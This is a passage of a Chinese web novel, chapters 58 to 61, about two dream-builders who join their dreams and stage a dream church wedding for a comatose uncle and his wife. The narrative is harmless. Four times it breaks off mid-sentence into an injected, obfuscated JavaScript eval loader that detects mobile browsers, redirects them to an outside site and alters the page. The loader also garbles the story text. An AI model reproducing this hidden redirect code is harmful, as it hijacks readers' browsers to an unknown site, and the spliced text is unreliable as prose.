我看起来肯定不太妙,她的话吓到我了,毕竟我不认识她姐,我……之前也不认识她。好,我无法确认一切,因为我丢失了十几年的记忆,我很混乱。我被她吓到了。 “但我跟你姐,有什么共同的特点吗?呃,我想说的是,今天是我第一次知道她的存在。我……她跟你有感应,这很好解释,你们有血缘关系。那我……我?” “说不定你跟我也有血缘关系,我和你是失散多年的姐弟,什么的。” 我从我妈和继父吵架的内容里听说过我的生父,他家很有钱,而且有钱了很多代,当时好像是他们集团要选地方投资建港口,他跟着过来,之后遇到我妈这个漂亮的渔村少女,他就花了点钱,说了点虚假的誓言,把没见过大世面的她骗到了手。后来集团考察觉得我们那个地方不适合建港口,他就走了,留下一小笔钱,和怀着我的我妈。镇子太小,镇子上不存在任何秘密,她要是去打胎,镇上的人都会莫名地知道。她一方面怕事情传出去,另一方面又听信那些耸人听闻的传言,担心做完手术无法再生育,正好我的继父在追求她,她就顺势答应了,很快跟他结婚,让他以为我是他的孩子。我不能确定我的生父到底是谁,但我能确定珩家里很有钱。虽然她经常和我一起光顾附近人均消费十块的肠粉店,但她肯定很有钱,她那种对所有事物都无所谓的态度,是一个普通的家庭养不出来的。 我有一瞬间真的在害怕,幸好我抬头看了一眼,珩好像又有点笑意,这家伙在胡说。 “所以你刚刚是在开玩笑吗?”我说,“拜托,这种玩笑对于我这么一个不知道自己爸爸是谁的人来说,一点都不好笑!” “诶,”她觉得好玩,还在戏弄我,“当我弟弟很委屈你吗?” “很委屈!” 我不由自主加大了音量,远处上夜班很无聊一直在围观我们的便利店小妹听到了我的声音,她假装在干活,第三十五次擦她那张不到四分之一平方米的收银桌。话说出口我意识到自己好像在表白。是。差不多是这个意思吧。但我们刚刚都亲上了,我表白怎么了? 珩伸手摸了摸我的头:“你放心,你放一万个心,你肯定不是我弟,我们没有血缘关系,绝对没有。”这郑重的保证和荒谬的内容有点割裂,她自己被自己逗笑了,我听得也有点尴尬。唉。我已经失去理智。我为什么会把刚刚那句话当真?她很明显是在胡说,关心则乱。 “我不知道我们为什么会这样,但这不重要,至少不紧急。”她说,“我说这件事,是因为这意味着,六叔和司徒阿姨的婚礼可以办了。ICU门口人来人往的,容易干扰梦境,我怕其他人在梦里迷路。但如果我和你的梦境连接不受距离限制,就可以由你去ICU把六叔带进梦里,我和她们一群人找个安全的地方待着。” 见我还在思索,她引诱我:“要不要试一下?就现在。” 唉。自从筑梦师在她面前哭了场大的,现在我们两个对她都没有戒心,我轻易地同意了一个实际上从来没测试过的方案,和她在一起的生活真是充满了刺激,刺激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464954|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和刺激。我送她回家,之后又返回我自己的家里。我家和她家在社区活动中心的两边,因为都离活动中心很近,我总有种我们两个住得很近的错觉。但今天晚上我从她家回来,我扫了个自行车,在没有什么车,可以放胆加速骑行的马路上,我也骑了整整十五分钟。我骑得飞快,在杂乱的风声里,我不由得想起她的话。 是啊,我和她的直线距离能有两三公里,为什么当时她能听见我喊她? 唉,别想了。只要我不是她失散多年的弟弟,什么都好说。 回到家已经快三点了,我非常累,把上衣脱掉,换了条睡裤就往床上倒。我都不用开手机里的海浪录音,很快就陷入昏昏沉沉的状态,快要睡着的时候,我往旁边摸了摸。她没在,但她总爱抱着睡的毛绒熊在。我把熊捞到胸前,熊和她身上是同一个味道。熟悉的气味让我不禁想起了她,之后就想起她冰凉的手指和柔软的嘴唇。……救命。 我把熊塞到衣柜里,又去浴室洗了把脸,之后才又躺下。我的大脑内部在交战,一半说赶紧睡,一半不受控制地在想她。还是我聪明,我给自己输入一个“睡着就能见她了”的信息,统一两半大脑的动机,它俩终于休战,我好不容易才睡过去。 我回到梦里的家中,揭开茶几上面的玻璃,取出珩的照片。照片里的教堂扩大,延展到我视野的宽度,我往前一步,踏入照片之中。 照片里的时间是白天,现实中的我在黑夜里,我被这没有遮挡的烈日晒得睁不开眼。我走出火车站候车厅,走向外面开阔的广场。广场上人很多,珩设定好的NPC,在日复一日地循环着他们被设定好的路线,来来回回地巡游。 我在人群里找珩,一个个NPC去看,怎么都找不见她。忽而我想起我是在梦中,梦里的逻辑和现实不一样,我不能去“找”,我得去“想”。于是我站在教堂前面,聚精会神地去想她。 当我想她时,广场上的白鸽像听到什么动静,没有预兆地,一阵鼓动翅膀的声音传来,之后白鸽飞起。鸽群像碎裂的黑白马赛克,梦里的广场在鸽群飞起的地方断裂,之后我听见机械转动的声音,鸽群散去,另一个科隆大教堂从远处升起,它冉冉升到和我的教堂一样的高度,齿轮咬合,梦境对接,之后它开始旋转,教堂转正,而后贴到我教堂的断裂面上,两座一模一样的教堂贴合,重复的部分随着建筑旋转而融合,我好像身在一个巨大的旋转门中,一模一样的两个梦境在寻找铆合的点位。 我看见了珩,她穿着一条黑色的长裙,正站在广场中央等我。为了找到对方,我们按照广场的砖块划了坐标系。她的坐标系和我的重叠,旋转的梦境停下,她就站在我前面的地砖上,梦转得太快,停下的时候,出于惯性,她往旁边跌去。我伸手去扶,很奇妙,那真是她。我们的物理距离是三千米,但此刻我怀里的是她的实体。这一刻的画面不仅违反了我所知的物理规律,也违反了她的梦境运行原则。她眼里的惊喜像发现了新大陆,我虽然也很兴奋,但我忍不住问她—— “我真的不是你弟吧?” 她一本正经地回答:“我回去问问我爸。” 59. 失而复得 “我真的不是你弟吧?” 她一本正经地回答:“我回去问问我爸。” 我和珩走在教堂前面的广场上,她今天穿的是一条黑色的礼服长裙,我认得这条裙子,这是她和我那套怪物史莱克合影时穿的婚纱的黑色版本。她似乎还收拾过她的绿色鸟窝头,她的头发用一个白珍珠串成的发箍固定,两边耳朵前面各留了一缕整理好的碎发。她好像做了个婚礼的演习,而我穿着睡裤和拖鞋,站在她旁边,显得很不文明。 “你那天试衣服,难道没有给自己也挑一下吗?”她打量了一下我的极简休闲风,腰间挂串钥匙就像个包租公的穿搭,不禁问道。 “真没有,”我说,“不过现在挑也来得及,男人的衣服都长那样。你觉得哪套好看?” “你穿,你觉得,你管我怎么觉得?” “我看着都差不多,你觉得呢?你喜欢哪个?” “我啊?我喜欢绿色那套,那套最好看,你穿那个吧。” 我不知道她是认真的,还是故意的。如果是认真的,我可以认为她说我好看,是骂我的意思。 我们测试了一下环境的稳定性,在测试的过程中,我顺带把自己的衣服换了。我换上了一套深灰色的西装四件套,出于一些小小的私心,我给自己挑了个深绿色的领带。珩在教堂后面的休息室里给我弄了个大镜子,看着看着,她也忍不住开始挑衣服。我的蓝条没有她的厚,动脑太多的话,醒来我会吃下一头牛。我坐在旁边看她玩换装游戏,今天终于不是给别人试衣服,只剩了我和她,气氛变得自在好多。至少我能由衷地表示好看了。 但是她对我很不满意,因为“问你等于白问”,因为“换什么你都说好看”,因为“你是不是敷衍我”。 为了不让我敷衍,她强制我在给出一个结论之后,必须附上相应的理由。这个思考过程使我的大脑耗能大幅增加,她换了五套衣服,梦里我的肚子就和现实中一样,“咕”地叫了一声。她的“这个好看吗”被我肚子的发言打断,她提着裙子转向我,之后没忍住笑起来。 “我回去自己试吧,你真是,就知道吃!” 认识她这么些日子,我算是摸清了她的行事准则。她就是嘴硬心软,她把我赶走之后,我就陷入了好长一段没有梦的睡眠里。这肯定是她的手笔,毕竟我总做噩梦,这样平静得有点幸福的晚上,对于我来说是不可能事件。我不知睡了多久,因为今天是周末,我连闹钟都没调。 最后我是在一阵惊天动地的手机铃声里醒来的,我闭着眼睛在床头柜上乱摸,看也没看就接通电话。珩的声音从手机里钻出来:“喂,醒了吗?” 我赶紧睁开眼,回答:“醒了,现在醒了。” “十一点了,猪!快起来开门,我在你家门口。” 睡到十一点是她给我设定的,现在骂我猪的也是她,唉女人。我从床上迷迷糊糊地爬起来,趿拉着拖鞋就走去给她开门。我没关阳台门,一开大门,对流的风就往我脸上身上扑来。我才发现我没穿上衣,珩站在我面前,我想起好久之前她在浴室里一脸嫌弃地看我脱衣服的那天,我赶紧为我的衣冠不整道歉:“对不起睡蒙了,你先进来——”然后转身要去拿衣服。她的小手抓住我的手腕,我停下脚步,她另一只手大方地向我伸来,放在我的胸膛上,之后不管不顾地摸来又摸去。她摸够了之后就像条泥鳅一样,灵活地从我和门之间的空隙里钻进了屋。只剩下睡迷糊了又被吓醒的我,站在门口,和隔壁刚买学区房搬进来的一家三口面面相觑。 看起来三四十岁的两夫妻早被工作和带小孩掏空了精力,看完珩一套行云流水的非礼动作,他们仿佛在看这个时节还穿着大羽绒的南半球人类一样看着我,而他们腿边的六七岁小孩,天真地用他的大眼睛看看爸爸,看看妈妈,再看看我,然后问:“为什么那个姐姐要摸他呀?他身上有东西吗?” 有口难言,百口莫辩。唉。 我和珩坐在沙发上,她说晚上的婚礼耗能巨大,你还是得多吃点。我们看了半天app上的美食推荐,最后一致同意去吃放题。 我和珩在餐厅刚开门的时候就到达,店员果然认得我们,一看我们来,他们热情地招呼我们,问我们要不要还坐在上次的位置。我们还像上次一样,虽然今天没有什么秘密,但因为已经习惯了,我们两个还是挤在同一边卡座里坐着。这一顿吃得不错,鳄鱼珩吃得小肚圆滚滚,我虽然明知道我应该多吃点,但我到底还没有完成人类到爬行动物的退化,我努力地在往嘴里塞东西,珩点完一趟又一趟,桌上的菜肴,始终处于动态平衡之中,这样的进食很没有成就感,我吃得甚至有点绝望。吃饱出去,我们两个又被沿途的顾客和服务员施以注目礼。珩摸了摸她T恤下面吃得鼓起来的肚子,愉快地表示我们以后都要在中午来吃,因为午市比晚市便宜三十块,还不耽误她九点睡觉。 因为担心物理距离太远,会影响我们进入同一个梦境(时间过于仓促,我们无法测试梦境的边缘在哪里),我们只好把原本定好的饭店包厢取消,转而在距离医院不到一百米的一个小餐馆里找了个位置。考虑到现在大家的心情一般,吃饭可能吃不下去,我和珩商量了一下,决定把婚礼的时间定在吃饭前的十五分钟。幸好我们中午吃得足够多,我备好了一袋子巧克力和甜水,五点钟,我到六叔所在医院的ICU门口等着。 珩翻看我带来的一大袋子高糖高油补剂,说:“你在医院里,你怕什么,不用带那么多。” “这是家属等候区,又不是ICU里面,”我说,“里面医生不仅看病人,还得看家属。我要是在这里晕过去,跟碰瓷有什么区别?” 五点十五分,珩答应我,会在梦境结束的瞬间,就冲过来接我去吃饭。我现在还没消化完中午的食物,对吃饭还没有很强烈的冲动,听她这么说,我只是点了点头。之后她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16481984|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想,把一个旧手机塞到我手里。那大概是个十几年前的初代智能机,我几乎要忘记,手机居然还有这么小的时候。 见我疑惑地看她,她又往我手里塞了个副有线耳机。她把耳机的线插上,之后点开一个音频播放app,对我说:“等会你就播放这段音频,之后你就会睡着。睡着之后就跟我们今天演习时那样,到教堂去找我。” 五点半,珩离开家属等待区。 这时候已经过了平时的探视时间,医院里的人都走了,有护士来问我是谁,我说我是匡五六的家属。因为六叔病得比较重,护士听了,没有赶人的意思。我找了个靠墙的角落,测试了一下等会睡过去的姿势,并且找了个监控摄像头能拍到的位置——不开玩笑,低血糖真的会死人。虽然珩答应了会来,但我还是要找个监控能看到的地方,至少晕过去了,里面的医生能赶出来救我。 五点四十五分,珩让我准备。 六点,我按照约定的时间,戴上耳机,打开她给我的音频。 那是一段暴雨白噪音,我很难不想起几个月前东海市的人鱼电影院。虽然个中原理我完全不懂,因为它乍听起来,确实只是一段普通的下雨声。但不知怎的,我又恍恍惚惚地睡了过去。耳机隔音不是特别好,不远处电梯叮叮当当的声音时不时钻进来,入睡的过程比珩在我身边的时候要慢一些。但总算是进去了,我又看见了那片灰绿色的湖。在我的旁边,插着好多根透明的电梯井。一天过去,ICU里有人转回普通病房,也有人转进来,漂浮的人里多了几个生面孔。幸好我还记得六叔的方位,我循着电梯往下沉,到达睡眠和昏迷的交界面,之后直接开上八十一倍速,朝六叔的所在的方向去。 他比昨天又下沉了不少,但我游得比他快,没多久,我就看见了水里他发着微光的身体。我大喊:“六叔!” 现实中的一天,在这里可能是几十天,六叔一个人呆烦了,听到我喊他,兴奋地回应我:“在这呢!你又来啦?” 我循声游过去,这里只有我和他,水里全是我的声音:“我又来了,今天有个大事——” “什么大事?” “终身大事,”我说,“先别问,新娘等着呢,赶紧抓住我。” 原本以为已经没有希望的教堂婚礼,忽然间又可以办了,六叔惊喜得语无伦次,一时间诸多事情要操心,不知道该先操心哪个好。他说他秃顶,假的头发没带,而真的头发好多天没洗,更别说是染黑,花白的几撮头发,油腻腻地黏在头上,看起来像发霉。又说他穿着病号服,不好看。我拉着他在水里穿行,在巨大的水流声之中,我说,这些你都不用管,因为我们是一条龙服务,服装场地活动,全部给你安排。他现在真是一条龙,水声太吵,他聋得听不清我说话。我也听不清他说什么,但不重要了,因为我们已经回到了家。 我带他走过沙发前狭窄的通道,之后翻出珩的照片。 60. 教堂婚礼 我带他走过沙发前狭窄的通道,之后翻出珩的照片。 落在扶手电梯上的时候,我看了旁边的六叔一眼。我没来得及钻进他的记忆里找出他以前的图像,但他和司徒阿姨的共同回忆够多,在她的记忆里翻翻找找拼拼凑凑,也足以把他们结婚那年的样子复现出来。六叔先是惊奇地看一眼换上了西装的我,之后他在电梯出口的旋转玻璃门上,看见了自己。衣服是司徒阿姨挑的,板正的黑色西装穿在身上,显得人身姿挺拔,仪表堂堂。结婚那年,六叔和我一样大,现在我们变成了同龄人。他有些难以置信地摸了摸自己重新长出来的浓密头发,又低头看自己的双手。病了几年,皱巴巴干瘦的手,忽然又恢复了年轻时的饱满和活力。他看我的眼神几乎像在看神仙,我让他先别大惊小怪,这还是小事。我说:“你看看外面?” 那座现实中花了六百多年才建成的大教堂,赫然就在玻璃门的那边。 六叔看一眼路上的NPC,为了尽可能模拟真实的场景,这群NPC来自世界各地,黄皮肤黑皮肤白皮肤,棕眼睛蓝眼睛绿眼睛,每个人都不一样。六叔惊呼:“你都把我弄出国去了?” 我想说那都是珩,但想想这里有几百个珩,这话听起来更恐怖了。我正想着要怎么跟他解释现在这个状况,一个NPC忽然拍了我一下,他浑厚的男声说出了珩的语气:“你快点,你们迟到了。” 我恍然想起还在太空中等待着和我对接的珩,我抓紧还在广场上好奇地东张西望的六叔,把所有的注意力收敛在珩的形象上。刹那之间,场景变换,六叔已然不见,而我落在教堂里,人站在教堂后方,宾客们一个都没看见,甚至连记忆里宾客们该坐的一排排长凳都不见。我慌了,我该不会是迷路了吧?我左右张望,之后在我的右手边,看见了仰头看着我,表情既有点无语,又有点想笑的珩。 “你是伴郎,”她说,“你跑哪去了?” 人尴尬的时候总是显得很忙,我低头假装整理马甲和领带。“带六叔参观广场,看外国人呢。”之后我想起新郎不见了,又问,“六叔呢?” “新郎从侧面进来,”她说,“在侧门等着呢。” 我对婚礼的流程真是一无所知,这不能怪我,因为我没结过婚,我的朋友也没结过,我对此缺乏“观测”。珩说准备开始了,我很慌,虽然外面的人百分之九十都是假的,只有六叔和医院附近饭馆那一桌子人是真的,但我还是很紧张。 “等会我要做什么?完蛋,我昨天查了下,说是等会我们两个要站在圣坛两边是吗?然后呢?就站着?” 我拉着她问,她不知道又给我使了什么法术,之后我好像戴了个无形的耳机,她的声音就在我的耳朵里响起:“能听到吗?” 吓我一跳。她人离我一米远,声音在我耳蜗里面响,真是够割裂的。 “等会我告诉你做什么,你跟着做就是了。”她说,“你不是主角,不用紧张。” 我松一口气,虽然心跳还是有点快。没过几分钟,更紧张的人出现了。六叔大概也戴上了珩的耳机,他一副不知道在听哪里来的电话的表情,手足无措地从侧门进来。我顾着看他,没留意另一边的珩,她出发了我也没发现,直到她的声音忽然窜进我的脑袋:“走啦!”我依葫芦画瓢,看她怎么走,我也对称地走。我们两个在两边站定,之后就看着年轻的六叔,摆出一副看着很正经的样子,从我们面前走过。 我看到了教堂里的宾客。客人名单比当年他们真实婚礼时要短,他们当年怕也是大排筵席,尽管经过挑选,来的人依然不少,我观察了一下在座的人,他们还是当年的样子,有老有小,到了现在,只怕小孩已经长大成人,甚至已经为人父母。这些人不会做出什么行动,他们是珩甩出来的泥点子,除了配合场面的表情和反应,没有自己的思想。但前排重要的宾客——大概是六叔和司徒阿姨的妈妈和兄弟姐妹,他们每个人的反应都不一样。他们大概每个人体内都有一片珩的意识碎片,她收集了每个人基本的性格特征,复现了他们的灵魂。六叔在看见家人的那一刻,惊讶程度比看见年轻的自己和宏伟的教堂还要高三百倍。时间在这里是静止的,甚至可以倒流。难怪总听说有人沉溺在梦境里,不愿回到现实。 而婚礼上真实的几个宾客,坐在教堂的第二排。我看见了年轻的张阿姨和于兰花阿姨,她们俩的老伴也在,而钟灵阿姨带着她的女儿,也来到现场。她的女儿已经和她梦里的年纪差不多,两个人说说笑笑,看起来不像母女,更像是姐妹。 一个穿着西装的地中海阿叔从六叔后面的侧门走入,六叔闻声回头。那是六叔的父亲,他跟六叔长得实在太像,六叔在结婚那一年,一定没有意识到这一点。他肯定天真地相信自己的头发将会陪伴他到永远,并且怀有侥幸的心态,觉得自己会是家族里那个甩掉脱发基因的幸运儿。他愣愣地看着自己的父亲,而这个有些严厉,有些不苟言笑的中年男人,也看着他,一脸不知道自己的儿子为什么在婚礼上盯着老爸看的模样。两个人就这样在这里胶着,就在这时候,司徒阿姨来了。 教堂的大门打开,虽然教堂的穹顶是玻璃做的,室内采光特别好,但大门打开的那一刻,光还是从门外涌了进来。光照亮了整个教堂,从门口通向圣坛的主通道上,长长的地毯在太阳照射下变成红宝石一般颜色。而在最明亮的地方,穿着白色婚纱的司徒阿姨站在那里。大概是这几十年来,她并没有太多改变自己的必要,因而二十五岁的她,看起来和现在并没有质的区别,只是那时候的皮肤白一些,皱纹少一些。她的父亲也穿着熨得笔挺的礼服,站在她身旁。司徒阿姨挑的是一身像是黑白电影时代才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497110|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿的婚纱,领口很宽,但不深,浅浅的两道花边,在锁骨位置会合。她戴着蕾丝手套,纤细的手腕上束着米珠编成的手链,手套的边缘像一朵半开不开的百合花。教堂外面的光线和室内形成了梯度,大量金色的阳光涌入,她的轮廓被笼在投入室内的灿烂光路里,白色的衣裙,连带着身上点缀的珍珠首饰,都在光中闪闪发亮。 婚礼进行曲响起,巨大的管风琴,音色浑厚又深沉,使这曲子比平日里音响放的要庄重得多。年轻的司徒阿姨挽着她的父亲,缓缓地从教堂大门走来。六叔看得愣了,站在圣坛前面,不知道该作何表情。司徒阿姨其实也很激动,他们的女儿甚至已经在偷摸哭。但她总算是个见多识广,活过了大半辈子的女人,她走到六叔面前,微微笑着看他。六叔如梦初醒,也微微笑着看她。 我站在不远处,就看着他们两个对视。他们青春的面容,还有期待得要发光的眼睛,分明和新婚时一样,但……他们又明显不是新婚夫妇的模样。他们这时候的容貌还不相似,但他们的表情实在是太像了。两个人几乎连笑起来的时候嘴角的角度,眼尾的细纹,还有呼吸的节奏,都一模一样。我的大脑有点混乱,他的也是。要知道我,无论是过去还是现在,都不曾对婚姻或是家庭,或是什么别的“和某人共度一生”之类漫长的约定,有过任何乐观的认识。但那一刻,就是他们两个假装刚结婚,但是笑得一模一样的那一刻,我忽然觉得时间停止了流动。虽然现实很残酷,残酷的现实已经跑过了足足五十年——但他们还像五十年前一样。彼此相爱,希望和对方共度余生,无论这个余生是永恒,还是瞬间。 司徒阿姨的父亲把她的手交到六叔手里。虽然已经握过这只手无数次,六叔还是有些小心翼翼,好像那不是一只手,而是什么珍贵的至宝。 牧师在致辞:“今天我们相聚在上帝面前,见证匡五六和司徒秀菊的神圣结合。婚姻是上帝赐予的礼物,是彼此灵魂的承诺……” 牧师双手交叠,目光温和而郑重地看向六叔:“匡五六,你是否愿意与司徒秀菊结为伴侣?无论疾病或健康,贫穷或富有,顺境或逆境,始终彼此相爱、扶持、尊重,不离不弃,直至生命终结?” 六叔一愣。他没来得及好好预习,幸好他很快反应过来,自己现在就是电影的主角。“我愿意。”他回答。 牧师又看司徒阿姨:“司徒秀菊,你是否愿意与匡五六结为伴侣?无论疾病或健康,贫穷或富有,顺境或逆境,始终彼此相爱、扶持、尊重,不离不弃,直至生命终结?” 司徒阿姨等待这场婚礼,等了太多年,婚礼的流程她已了如指掌。她从容而坚定地回答:“我愿意。” 我看着两个人在圣坛前交换戒指,不免想起他们实际上的婚礼——在老家的祠堂里大排筵席,宾客坐了快有五十桌。 61. 灿烂花火 我看着两个人在圣坛前交换戒指,不免想起他们实际上的婚礼——在老家的祠堂里大排筵席,宾客坐了快有五十桌。当时司徒阿姨和我一起挑人(虽然教堂很大,放下这五十桌子人绰绰有余,但是司徒阿姨说有的人她其实不想请,所以我们删掉了一部分宾客,使得到场的人都很合她的心意),我们光是一桌桌人去辨认,都花了不少功夫。婚礼很热闹,爸妈很满意,长辈们都劳心劳力,付出了很多,但其实司徒阿姨和六叔,都不是爱热闹的人。六叔酒量不错,但一桌桌酒敬过去,喝完他就晕乎乎,回到家倒头就睡,睡醒就头疼。司徒阿姨带着姐妹们去敬茶,她穿着裙褂,踩着高跟鞋,重复同样的说辞五十遍,等和姐妹们回到饭桌,一桌子好菜都凉了,那时候微波炉还是个罕见物品,饭店派来的服务员不多,没空一盘盘菜给她们加热,一桌女孩子只能凑合凑合吃冷饭。宾客们给他们祝福,说的都是“百年好合”,接下来就是“早生贵子”,好像百年好合,其实是为了早生贵子。司徒阿姨在梦里和我聊天,她说:“虽然我很喜欢我女儿,但是婚礼上我真不想谁提起她,你看看电影里,穿婚纱的才是主角。”说完她又笑笑:“不过当时我也没觉得有什么所谓,因为那会儿还没有很喜欢阿六,哈哈!那时候要是都围着我们两个问,可能还挺尴尬的。” 两个人在誓言书上签字,当年两个人的名字写得一样歪歪扭扭,如今士别三日刮目相待,司徒阿姨前几年在家照顾六叔,不能经常出门,所以总在家里练字。现在两个人签名,司徒阿姨用端正秀丽的字迹写下“司徒秀菊”四个字,隔壁六叔还像个小学生,他一笔一划在纸上写下火柴人一样的“匡五六”三个字,之后看看隔壁老婆的字,霎时惊讶地抬头看她。他看一眼前面的牧师,反应过来牧师是珩的碎片,之后转过来问珩本人:“咱能重签吗?她字太好看了,我再写认真点。”第二排的宾客笑成一团,他们的女儿没忍住说:“爸,你再认真也就这样,这不是态度问题,是能力问题。妈都练好几年了。”六叔看着誓言书上自己的字直挠头。 婚礼结束,我们在教堂外面合影。照片当然没有实体,但我受珩的启发,把相机设计成超大号的拍立得。它大得有点夸张,像台打印机,但在前额叶休息的梦里,没有人会觉得它长得不合常理。我随机逮了一个珩的泥点子给我们拍照,盛装出席的众人,在教堂门口围着一张巨大的拍立得相纸看,黑色的相纸上慢慢显出我们的身形——司徒阿姨和六叔站在最中间,他们还很年轻的父母站在前面,而其他宾客以最好的年纪出现,所有人都轻盈得仿佛不受时间和重力限制。 记忆里的视野比现实中的要窄,我把相纸设计成普通人能记住的最大宽度,相片特别清晰,这张照片就是婚礼的钥匙。只要想起这张照片,存放这段梦境的脑区就会被照亮。 换言之,虽然这场婚礼并没有在现实中发生,但它就如同一段真实的记忆,被牢牢地嵌进了每个人的大脑里。 因为场景过于真实,梦又很长,大家已经分不清自己是不是在做梦,拍完照,司徒阿姨的女儿顺口问了句:“我们等会儿去哪?”唯一时刻记得自己在做梦的是六叔,他看向女儿,话被梗在喉咙,不知要如何回答。珩就在他们后面,她的声音淡淡地飘来,好像她回答的是一个寻常的“吃完饭去哪”之类的问题。 她说:“你们想去哪?” 只有亲身体会过构筑梦境有多费脑子的我才觉得震惊——她要现场给他们造个新的环境。她到底是什么来头,这……这已经很难用训练来解释了。这纯粹是天赋,连过去那个天才的我都望尘莫及的天赋。 司徒阿姨看一眼六叔,二十多岁的她眼里闪过一丝雀跃。“去跳舞?”她提议,“家附近的舞厅?” 一辆车从梦境的边缘驶来,珩坐上驾驶位,招呼我们上车。车门关上之后,车子便驶上一条宽阔的马路。虽然我们睡着了,前额叶负责管逻辑的脑区处于休眠状态,但梦境要是过于离奇,没经过训练的普通人,还是会因为害怕,而从梦里醒来。珩把科隆和我们所在的城市用一条大桥连接起来,中间广阔的大陆用一片蔚蓝的大海一笔带过,车子驶出科隆的公路,驶上这条横跨半个地球的大桥。我坐在副驾驶,桥像一条线,穿过一整片深蓝色的海。路途上的时间很短,但珩用快速更替的天色,制造时间的错觉。车子在平坦的桥面上行走,车顶遮住了正在天上快速划过的太阳,太阳变得很亮,又跑远去,沉入灿烂的黄昏。大海变成黑色,白色的路灯在窗外掠过,以地核到海平面的距离为半径,划出四道亮眼的弧线——珩甚至做了个双向八车道。其他人耐不住这样的大脑耗能,珩让他们在梦里的车厢睡着,短暂地休息,只剩了我和她在看这片黑色的海。 我在副驾上对她指手画脚:“你做这么宽的桥,又没有车,画面太空了。” 她心情不错,没有骂我,还陪我废话:“那你弄个车。” 每个人的想象力都是不一样的,想象力就像性格一样,每个人都有他自己的特征。珩的想象力就像她本人一样,大胆,浩瀚,无边无际,仿佛我们眼下正穿过的这片海。我的想象力则和我本人一样幼稚。我给对面的车道来了个变形金刚车队,擎天柱大黄蜂和铁皮在我们的车子靠近的时候变身,站在路中间朝我们挥手。车窗玻璃外面的视野全被他们占满,珩的侧脸落在一玻璃的机甲上。她今天心情真的很好,她用夸张的语气表扬我:“不错,给你点掌声,怎样?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503758|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话音刚落,车子外面便滚来一阵隆隆的响声。那绝对不是掌声,甚至有点像雷声,声音在黑夜中悄悄靠近,之后,我听到尖锐的,像是哨鸣一般的声音,声音和金色的光一起划破黑夜,而后哨声四起,一道道金光从大海里飞起。那阵仗太大,好像一阵逆行的流星雨,腾腾地从海面升起。 砰—— 第一道金光在夜空中炸开。 之后是千千万万道金光,它们飞到天上,从一条线凝成一个点,又炸开成一个面,一个球。珩在海上放烟花,地平线以上,全是灿烂的花火。车里的其他人都被这声响和光亮唤醒,他们趴在车窗上,观看这盛大的海上烟花表演。珩打开车顶,说实话,这车子里人太多了,有损它的浪漫。敞篷的大车,一点不能让人想起电影里在跨海公路上飞驰的敞篷跑车,只能让人想起市里十块一个人的旅游观光1号线,顶层露天的双层巴士。不过无所谓,除了我,无人还有闲暇的注意力去管车。所有人都仰着头,看天上的烟花,因为没有遮挡,烟花像雨一样,向我们身上坠落。这画面不知怎的碰到了我大脑里的某个开关,我的脚腕上忽然传来一阵火辣辣的灼痛——我被倒吊的记忆。我被倒吊在窗外,流星像雨一样朝我落下——等等。 我小声问珩:“流星雨……流星雨一般是什么时候?” 珩不明所以,但她还是接着我的话回答:“冬天夏天?” “冬天吧?我被倒吊的那天,风特别大,湿冷湿冷的风。” “双子座?”珩说,“十二月中旬吧?你当时在北半球吗?” 想不起来。我的记忆大概由好多把锁同时锁住,只有将每个点都找到,它们才会复活。我决定放弃这样的努力,毕竟我一点都不想在这样一个美好的夜晚里,回忆我如何被吊在窗外。 我靠在座椅上看天,坠落的星火像一张金色的网,铺撒在这一片无尽的海上。车还在开,烟火爆炸的声音渐渐疏落,渐渐隐去,车子驶出大海,驶入夜晚华灯初上的城市。梦里的六七点钟,不会碰上下班高峰期,我们穿过高楼林立的市中心,在纵横交错的立交桥上环绕,环绕,又驶入一片矮矮的旧居民楼区。时间开始倒退,繁茂的大树逆向生长,缩回刚种下的模样,车子在一个舞厅门口停下。 